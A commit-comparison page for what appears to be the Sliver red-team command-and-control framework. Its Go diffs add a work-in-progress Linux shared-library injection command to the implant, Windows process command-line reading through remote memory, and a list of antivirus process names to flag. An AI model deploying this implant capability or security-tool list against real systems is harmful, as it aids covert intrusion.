Compare commits

...
23 Commits
Author SHA1 Message Date
rkervella 6553084d4e lib-inject wip 2021-12-15 15:55:29 -08:00
rkervella 21fa8c71d8 Use extended std lib for memfd 2021-12-15 08:28:17 -08:00
moloch-- a37749bf50 Fix byte type 2021-12-02 21:32:40 -06:00
rkervella 0c7c7b54d3 Fix #544 2021-11-30 10:18:09 +01:00
rkervella 832ac585f7 Merge branch 'cert-issue' into stage 2021-11-30 10:09:59 +01:00
Joe 14492dfbcb Merge pull request #550 from usiegl00/stage
Expand tilde in generate file path
2021-11-29 20:10:24 -06:00
usiegl00 1e283e54a9 Expand tilde in generate file path 2021-11-30 09:59:05 +09:00
Ronan Kervella f679e99403 Merge pull request #549 from usiegl00/stage
Add CmdLine to Windows process list.
2021-11-29 12:09:11 +01:00
usiegl00 aab7143708 Add CmdLine to Windows process list 2021-11-29 19:19:14 +09:00
Joe 886ab348f4 Merge pull request #548 from cmprmsd/patch-1
Add Bitdefender Process Names
2021-11-28 15:07:49 -06:00
cmprmsd 8211f8f0e4 Add Bitdefender Process Names
Feel free to remove the source that I added to find out about "Bitdefender redline update"
2021-11-28 11:46:47 +01:00
rkervella 483654d58f Fix error check during client cert generation 2021-11-26 12:52:34 +01:00
rkervella b87a7034a9 Only log in when in debug mode 2021-11-22 09:55:56 +01:00
moloch-- edc6d21c23 Fixed dns beacon reconnect problems 2021-11-20 16:23:44 -06:00
moloch-- 31ca964e6c Fixes to beacon key life cycle 2021-11-20 15:36:31 -06:00
moloch-- 735ae74f1d Fix state revert bug 2021-11-20 14:54:12 -06:00
moloch-- 49679538eb Made beacon registration eventable 2021-11-20 14:27:31 -06:00
moloch-- 000ca54a15 nil resp check 2021-11-20 11:29:16 -06:00
moloch-- eb615f3add Fixed poll truncation/race issue #540 2021-11-20 11:23:37 -06:00
moloch-- acb0f857b3 Force generation of secure password 2021-11-20 09:54:23 -06:00
moloch-- 610d8b18c9 Force generation of secure password 2021-11-20 09:51:12 -06:00
moloch-- edf126c149 Warn user about socks proxy creds 2021-11-20 09:48:33 -06:00
moloch-- 1794d0cebd Renable socks user/pw 2021-11-20 09:45:07 -06:00
44 changed files with 2820 additions and 1459 deletions

No files matched your search

+1 -1
View File
@@ -137,4 +137,4 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server *.exe
rm -f sliver-client sliver-server sliver-*.exe
+23 -3
View File
@@ -2312,8 +2312,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("H", "host", "127.0.0.1", "Bind a Socks5 Host")
f.String("P", "port", "1081", "Bind a Socks5 Port")
f.String("u", "user", "", "socks5 auth user")
f.String("p", "password", "", "socks5 auth pass")
f.String("u", "user", "", "socks5 auth username (will generate random password)")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -2747,6 +2746,27 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
// [ LibInject ] -----------------------------------------------------------------
libInjectCmd := &grumble.Command{
Name: consts.LibInjectStr,
Help: "Inject a Linux shared library into a process",
LongHelp: help.GetHelpFor([]string{consts.LibInjectStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
exec.LibInjectCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.Uint64("pid", "Target process ID")
a.String("library-path", "Path to the shared library to inject")
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
con.App.AddCommand(libInjectCmd)
}
+4 -4
View File
@@ -113,16 +113,16 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
combined := ""
if stdout == "" {
combined = exec.Stdout
con.PrintInfof("Output:\n%s", exec.Stdout)
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, exec.Stderr)
con.PrintInfof("Stderr:\n%s", exec.Stderr)
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
+58
View File
@@ -0,0 +1,58 @@
package exec
import (
"context"
"fmt"
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
func LibInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
libPath := ctx.Args.String("library-path")
pid := ctx.Args.Uint64("pid")
data, err := ioutil.ReadFile(libPath)
if err != nil {
con.PrintErrorf("%s", err)
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Injecting %s into %d...", libPath, pid), ctrl)
libInject, err := con.Rpc.LibInject(context.Background(), &sliverpb.LibInjectReq{
Request: con.ActiveTarget.Request(ctx),
Pid: pid,
Data: data,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
return
}
if libInject.Response != nil && libInject.Response.Async {
con.AddBeaconCallback(libInject.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, libInject)
if err != nil {
con.PrintErrorf("Failed to decode response: %s", err)
return
}
con.PrintInfof("Injected %s into %d\n", libPath, pid)
})
con.PrintAsyncResponse(libInject.Response)
} else {
con.PrintInfof("Injected %s into %d\n", libPath, pid)
}
}
+10
View File
@@ -97,11 +97,21 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
compile(config, save, con)
}
func expandPath(path string) string {
// unless path starts with ~
if len(path) == 0 || path[0] != 126 {
return path
}
return filepath.Join(os.Getenv("HOME"), path[1:])
}
func saveLocation(save, DefaultName string) (string, error) {
var saveTo string
if save == "" {
save, _ = os.Getwd()
}
save = expandPath(save)
fi, err := os.Stat(save)
if os.IsNotExist(err) {
log.Printf("%s does not exist\n", save)
-1
View File
@@ -46,7 +46,6 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, session.PollTimeout)
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
+29 -10
View File
@@ -36,10 +36,13 @@ import (
var (
// Stylizes known processes in the `ps` command
knownSecurityTools = map[string]string{
"ccSvcHst.exe": console.Red, // SEP
"cb.exe": console.Red, // Carbon Black
"MsMpEng.exe": console.Red, // Windows Defender
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
"ccSvcHst.exe": console.Red, // SEP
"cb.exe": console.Red, // Carbon Black
"MsMpEng.exe": console.Red, // Windows Defender
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
"bdagent.exe": console.Red, // Bitdefender (Total Security)
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
}
)
@@ -143,12 +146,28 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
var row table.Row
switch session.GetOS() {
case "windows":
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
if cmdLine {
var args string
if len(proc.CmdLine) >= 1 {
args = strings.Join(proc.CmdLine, " ")
} else {
args = proc.Executable
}
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, args),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
}
case "darwin":
fallthrough
+26 -20
View File
@@ -19,15 +19,15 @@ package reaction
*/
import (
"bytes"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// ReactionCmd - Manage reactions to events
@@ -36,6 +36,9 @@ func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
for _, eventType := range core.ReactableEvents {
reactions := core.Reactions.On(eventType)
if 0 < len(reactions) {
if totalReactions != 0 {
con.Printf("\n") // Add newline between each table after the first
}
displayReactionsTable(eventType, reactions, con)
}
totalReactions += len(reactions)
@@ -46,25 +49,25 @@ func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverConsoleClient) {
// Title
con.Printf("%s%s%s\n", console.Bold, EventTypeToTitle(eventType), console.Normal)
// Table
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tCommands\t\n")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Commands")),
)
for _, react := range reactions {
fmt.Fprintf(table, "%d\t%s\t\n",
react.ID, strings.Join(react.Commands, ","),
)
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, EventTypeToTitle(eventType)))
tw.AppendSeparator()
slackSpace := len(EventTypeToTitle(eventType)) - len("Commands") - len("ID") - 3
if slackSpace < 0 {
slackSpace = 1
}
table.Flush()
con.Printf("%s", outputBuf.String())
tw.AppendHeader(table.Row{
"ID",
"Commands" + strings.Repeat(" ", slackSpace), // Leave space for title
})
for _, react := range reactions {
tw.AppendRow(table.Row{
react.ID,
strings.Join(react.Commands, ","),
})
}
con.Printf("%s\n", tw.Render())
}
// EventTypeToTitle - Convert an eventType to a more human friendly string
@@ -78,6 +81,9 @@ func EventTypeToTitle(eventType string) string {
case consts.SessionUpdateEvent:
return "Session Updated"
case consts.BeaconRegisteredEvent:
return "Beacon Registered"
case consts.CanaryEvent:
return "Canary Trigger"
+21 -3
View File
@@ -19,6 +19,8 @@ package socks
*/
import (
"crypto/rand"
"encoding/base64"
"fmt"
"net"
"time"
@@ -26,6 +28,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"gopkg.in/AlecAivazis/survey.v1"
)
// SocksAddCmd - Add a new tunneled port forward
@@ -48,9 +51,18 @@ func SocksAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
return
}
password := ctx.Flags.String("password")
if err != nil {
return
password := ""
if username != "" {
con.PrintWarnf("SOCKS proxy authentication credentials are tunneled to the implant\n")
con.PrintWarnf("These credentials are recoverable from the implant's memory!\n\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you understand the implication?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
password = randomPassword()
con.Printf("\n")
}
channelProxy := &core.TcpProxy{
@@ -70,3 +82,9 @@ func SocksAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Started SOCKS5 %s %s %s %s\n", host, port, username, password)
con.PrintWarnf("In-band SOCKS proxies can be a little unstable depending on protocol\n")
}
func randomPassword() string {
buf := make([]byte, 16)
rand.Read(buf)
return base64.RawStdEncoding.EncodeToString(buf)
}
+32 -17
View File
@@ -27,6 +27,7 @@ import (
"log"
insecureRand "math/rand"
"path"
"path/filepath"
"strconv"
"strings"
"sync"
@@ -40,7 +41,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/golang/protobuf/proto"
"google.golang.org/protobuf/proto"
"time"
@@ -166,7 +167,7 @@ func (con *SliverConsoleClient) EventLoop() {
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
con.Printf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
}
case consts.WatchtowerEvent:
@@ -250,13 +251,18 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
// We need some special handling for SessionOpenedEvent to
// set the new session as the active session
currentActiveSession := con.ActiveTarget.GetSession()
if currentActiveSession != nil {
defer con.ActiveTarget.Set(currentActiveSession, nil)
}
currentActiveSession, currentActiveBeacon := con.ActiveTarget.Get()
defer func() {
con.ActiveTarget.Set(currentActiveSession, currentActiveBeacon)
}()
con.ActiveTarget.Set(nil, nil)
if event.EventType == consts.SessionOpenedEvent {
con.ActiveTarget.Set(event.Session, nil)
} else if event.EventType == consts.BeaconRegisteredEvent {
beacon := &clientpb.Beacon{}
proto.Unmarshal(event.Data, beacon)
con.ActiveTarget.Set(nil, beacon)
}
for _, reaction := range reactions {
@@ -377,7 +383,7 @@ func (con *SliverConsoleClient) CheckLastUpdate() {
func getLastUpdateCheck() *time.Time {
appDir := assets.GetRootAppDir()
lastUpdateCheckPath := path.Join(appDir, consts.LastUpdateCheckFileName)
lastUpdateCheckPath := filepath.Join(appDir, consts.LastUpdateCheckFileName)
data, err := ioutil.ReadFile(lastUpdateCheckPath)
if err != nil {
log.Printf("Failed to read last update check %s", err)
@@ -396,7 +402,7 @@ func getLastUpdateCheck() *time.Time {
func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
con.PrintWarnf("%s\n", err)
return nil
}
for _, session := range sessions.GetSessions() {
@@ -444,11 +450,9 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
MaxConnectionErrors: uint32(1000),
ReconnectInterval: int64(60),
PollTimeout: int64(1),
Format: clientpb.OutputFormat_SHELLCODE,
IsSharedLib: true,
C2: c2s,
Format: clientpb.OutputFormat_SHELLCODE,
IsSharedLib: true,
C2: c2s,
}
return config
}
@@ -518,6 +522,11 @@ func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) {
return s.session, s.beacon
}
// GetSessionInteractive - Get the active target(s)
func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) {
return s.session, s.beacon
}
// GetSessionInteractive - GetSessionInteractive the active session
func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session {
if s.session == nil {
@@ -548,10 +557,7 @@ func (s *ActiveTarget) GetBeacon() *clientpb.Beacon {
// IsSession - Is the current target a session?
func (s *ActiveTarget) IsSession() bool {
if s.session != nil {
return true
}
return false
return s.session != nil
}
// AddObserver - Observers to notify when the active session changes
@@ -588,6 +594,15 @@ func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) {
if session != nil && beacon != nil {
panic("cannot set both an active beacon and an active session")
}
if session == nil && beacon == nil {
s.session = nil
s.beacon = nil
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
return
}
if session != nil {
s.session = session
s.beacon = nil
+3 -1
View File
@@ -216,7 +216,7 @@ const (
InteractiveStr = "interactive"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
Socks5Str = "socks5"
ReactionStr = "reaction"
@@ -228,6 +228,8 @@ const (
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
LibInjectStr = "lib-inject"
)
// Groups
+1
View File
@@ -36,6 +36,7 @@ var (
consts.SessionOpenedEvent,
consts.SessionUpdateEvent,
consts.SessionClosedEvent,
consts.BeaconRegisteredEvent,
consts.CanaryEvent,
consts.WatchtowerEvent,
consts.LootAddedEvent,
+1 -1
View File
@@ -82,7 +82,7 @@ func execute(cmd string, executor string, agentSession *AgentSession) (string, i
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, 0, 0
}
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
}
func getCmdArg(executor string) []string {
+2 -2
View File
@@ -442,8 +442,8 @@ func executeHandler(data []byte, resp RPCResponse) {
if outWriter != nil {
outWriter.Flush()
}
execResp.Stderr = stdErrBuff.String()
execResp.Stdout = stdOutBuff.String()
execResp.Stderr = stdErrBuff.Bytes()
execResp.Stdout = stdOutBuff.Bytes()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
+33
View File
@@ -19,7 +19,14 @@ package handlers
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
@@ -48,6 +55,7 @@ var (
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgLibInjectReq: libInjectHandler,
// {{if .Config.WGc2Enabled}}
// Wireguard specific
@@ -72,3 +80,28 @@ func GetSystemHandlers() map[uint32]RPCHandler {
func GetSystemPivotHandlers() map[uint32]PivotHandler {
return linuxPivotHandlers
}
func libInjectHandler(data []byte, resp RPCResponse) {
injectReq := &sliverpb.LibInjectReq{}
err := proto.Unmarshal(data, injectReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %s", err)
// {{end}}
return
}
err = taskrunner.LibTask(int(injectReq.Pid), injectReq.Data)
injectRes := sliverpb.LibInject{
Response: &commonpb.Response{},
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to inject lib %s\n", err)
// {{end}}
injectRes.Response.Err = err.Error()
}
data, err = proto.Marshal(&injectRes)
resp(data, err)
}
+2 -2
View File
@@ -305,8 +305,8 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
if outWriter != nil {
outWriter.Flush()
}
execResp.Stderr = stdErrBuff.String()
execResp.Stdout = stdOutBuff.String()
execResp.Stderr = stdErrBuff.Bytes()
execResp.Stdout = stdOutBuff.Bytes()
} else {
err = cmd.Start()
if err != nil {
@@ -56,6 +56,7 @@ func psHandler(data []byte, resp RPCResponse) {
Executable: proc.Executable(),
Owner: proc.Owner(),
}
p.CmdLine = proc.(*ps.WindowsProcess).CmdLine()
p.SessionID = int32(proc.(*ps.WindowsProcess).SessionID())
psList.Processes = append(psList.Processes, p)
}
+13 -12
View File
@@ -26,7 +26,9 @@ import (
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
@@ -376,18 +378,17 @@ func socksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
// if socksData.Username != "" && socksData.Password != "" {
// cred := socks5.StaticCredentials{
// socksData.Username: socksData.Password,
// }
// auth := socks5.UserPassAuthenticator{Credentials: cred}
// socksServer = socks5.NewServer(
// socks5.WithAuthMethods([]socks5.Authenticator{auth}),
// )
// } else {
socksServer = socks5.NewServer()
//}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
+100
View File
@@ -1,10 +1,13 @@
//go:build windows
// +build windows
package ps
import (
"fmt"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
"strings"
"syscall"
"unsafe"
)
@@ -15,6 +18,7 @@ type WindowsProcess struct {
ppid int
exe string
owner string
cmdLine []string
sessionID int
}
@@ -34,6 +38,10 @@ func (p *WindowsProcess) Owner() string {
return p.owner
}
func (p *WindowsProcess) CmdLine() []string {
return p.cmdLine
}
func (p *WindowsProcess) SessionID() int {
return p.sessionID
}
@@ -49,12 +57,14 @@ func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
}
account, _ := getProcessOwner(e.ProcessID)
sessionID, _ := getSessionID(e.ProcessID)
cmdLine, _ := getCmdLine(e.ProcessID)
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
owner: account,
cmdLine: cmdLine,
sessionID: sessionID,
}
}
@@ -145,6 +155,96 @@ func processes() ([]Process, error) {
return results, nil
}
const sizeOfUintPtr = unsafe.Sizeof(uintptr(0))
func uintptrToBytes(u *uintptr) []byte {
return (*[sizeOfUintPtr]byte)(unsafe.Pointer(u))[:]
}
func main() {
var u = uintptr(1025)
fmt.Println(uintptrToBytes(&u))
}
func getCmdLine(pid uint32) ([]string, error) {
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPMODULE, pid)
if err != nil {
return []string{}, err
}
defer syscall.CloseHandle(handle)
var module syscalls.MODULEENTRY32W
module.DwSize = uint32(unsafe.Sizeof(module))
if err = syscalls.Module32FirstW(windows.Handle(handle), &module); err != nil {
return []string{}, err
}
proc, err := syscall.OpenProcess(
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ,
false,
pid,
)
if err != nil {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
}
var info windows.PROCESS_BASIC_INFORMATION
err = windows.NtQueryInformationProcess(
windows.Handle(proc),
windows.ProcessBasicInformation,
unsafe.Pointer(&info),
uint32(unsafe.Sizeof(info)),
nil,
)
if err != nil {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
}
var peb windows.PEB
err = windows.ReadProcessMemory(
windows.Handle(proc),
uintptr(unsafe.Pointer(info.PebBaseAddress)),
(*byte)(unsafe.Pointer(&peb)),
unsafe.Sizeof(peb),
nil,
)
if err != nil {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
}
var params windows.RTL_USER_PROCESS_PARAMETERS
err = windows.ReadProcessMemory(
windows.Handle(proc),
uintptr(unsafe.Pointer(peb.ProcessParameters)),
(*byte)(unsafe.Pointer(&params)),
unsafe.Sizeof(params),
nil,
)
if err != nil {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
}
var cmdLine []uint16 = make([]uint16, params.CommandLine.Length)
err = windows.ReadProcessMemory(
windows.Handle(proc),
uintptr(unsafe.Pointer(params.CommandLine.Buffer)),
(*byte)(unsafe.Pointer(&cmdLine[0])),
uintptr(params.CommandLine.Length),
nil,
)
if err != nil {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
}
err = syscall.CloseHandle(proc)
if err != nil {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
}
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:]) + " : " + syscall.UTF16ToString(cmdLine[:])), nil
}
func getSessionID(pid uint32) (int, error) {
var sessionID uint32
err := windows.ProcessIdToSessionId(pid, &sessionID)
+37 -10
View File
@@ -244,7 +244,27 @@ var (
func beaconMainLoop(beacon *transports.Beacon) error {
// Register beacon
err := beacon.Start()
err := beacon.Init()
if err != nil {
beaconErrors++
if transports.GetMaxConnectionErrors() < beaconErrors {
return err
}
// {{if .Config.Debug}}
log.Printf("[beacon] init failure %s", err)
// {{end}}
return nil
}
defer func() {
err := beacon.Cleanup()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] cleanup failure %s", err)
// {{end}}
}
}()
err = beacon.Start()
if err != nil {
// {{if .Config.Debug}}
log.Printf("Error starting beacon: %s", err)
@@ -272,27 +292,28 @@ func beaconMainLoop(beacon *transports.Beacon) error {
// BeaconMain - Is executed in it's own goroutine as the function will block
// until all tasks complete (in success or failure), if a task handler blocks
// forever it will simply block this set of tasks instead of the entire beacon
intervalErrors := 0
errors := make(chan error)
for {
if transports.GetMaxConnectionErrors() < intervalErrors {
break
}
duration := beacon.Duration()
nextCheckin = time.Now().Add(duration)
go func() {
err := beaconMain(beacon, nextCheckin)
if err != nil {
intervalErrors++
// {{if .Config.Debug}}
log.Printf("[beacon] main %s", err)
log.Printf("[beacon] main error: %v", nextCheckin)
// {{end}}
errors <- err
}
}()
// {{if .Config.Debug}}
log.Printf("[beacon] sleep until %v", nextCheckin)
// {{end}}
time.Sleep(duration)
select {
case <-errors:
return err
case <-time.After(duration):
}
}
return nil
}
@@ -334,6 +355,12 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{end}}
return err
}
if envelope == nil {
// {{if .Config.Debug}}
log.Printf("[beacon] read nil envelope (no tasks)")
// {{end}}
return nil
}
tasks := &sliverpb.BeaconTasks{}
err = proto.Unmarshal(envelope.Data, tasks)
if err != nil {
@@ -354,7 +381,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
resultsMutex := &sync.Mutex{}
wg := &sync.WaitGroup{}
sysHandlers := handlers.GetSystemHandlers()
specHandlesr := handlers.GetSpecialHandlers()
specHandlers := handlers.GetSpecialHandlers()
for _, task := range tasks.Tasks {
// {{if .Config.Debug}}
@@ -387,7 +414,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
Data: []byte{},
})
resultsMutex.Unlock()
} else if handler, ok := specHandlesr[task.Type]; ok {
} else if handler, ok := specHandlers[task.Type]; ok {
wg.Add(1)
handler(task.Data, nil)
} else {
@@ -43,3 +43,5 @@ package syscalls
//sys GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) = psapi.GetProcessMemoryInfo
//sys LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) = advapi32.LookupPrivilegeNameW
//sys LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) = advapi32.LookupPrivilegeDisplayNameW
//sys Module32FirstW(hSnapshot windows.Handle, lpme *MODULEENTRY32W) (err error) = kernel32.Module32FirstW
+18
View File
@@ -165,3 +165,21 @@ const (
GMEM_ZEROINIT = 0x0040
GPTR = GMEM_FIXED | GMEM_ZEROINIT
)
const (
MAX_MODULE_NAME32 = 255
MAX_PATH = 260
)
type MODULEENTRY32W struct {
DwSize uint32
Th32ModuleID uint32
Th32ProcessID uint32
GlblcntUsage uint32
ProccntUsage uint32
ModBaseAddr uintptr
ModBaseSize uint32
HModule uintptr
SzModule [MAX_MODULE_NAME32 + 1]uint16
SzExePath [MAX_PATH]uint16
}
@@ -77,6 +77,7 @@ var (
procHeapReAlloc = modkernel32.NewProc("HeapReAlloc")
procHeapSize = modkernel32.NewProc("HeapSize")
procInitializeProcThreadAttributeList = modkernel32.NewProc("InitializeProcThreadAttributeList")
procModule32FirstW = modkernel32.NewProc("Module32FirstW")
procPssCaptureSnapshot = modkernel32.NewProc("PssCaptureSnapshot")
procQueueUserAPC = modkernel32.NewProc("QueueUserAPC")
procUpdateProcThreadAttribute = modkernel32.NewProc("UpdateProcThreadAttribute")
@@ -366,6 +367,14 @@ func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LI
return
}
func Module32FirstW(hSnapshot windows.Handle, lpme *MODULEENTRY32W) (err error) {
r1, _, e1 := syscall.Syscall(procModule32FirstW.Addr(), 2, uintptr(hSnapshot), uintptr(unsafe.Pointer(lpme)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) {
r1, _, e1 := syscall.Syscall6(procPssCaptureSnapshot.Addr(), 4, uintptr(processHandle), uintptr(captureFlags), uintptr(threadContextFlags), uintptr(unsafe.Pointer(snapshotHandle)), 0, 0)
if r1 == 0 {
@@ -0,0 +1,514 @@
package taskrunner
import (
"debug/elf"
"fmt"
"io/ioutil"
// {{if .Config.Debug}}
"log"
// {{end}}
"os"
"runtime"
"strings"
"syscall"
"golang.org/x/sys/unix"
)
func getSymbolOffset(symbolName, libPath string) (uint64, error) {
e, err := elf.Open(libPath)
if err != nil {
return 0, err
}
symbols, err := e.DynamicSymbols()
if err != nil {
return 0, err
}
for _, s := range symbols {
if s.Name == symbolName {
return s.Value, nil
}
}
return 0, fmt.Errorf("symbol not found")
}
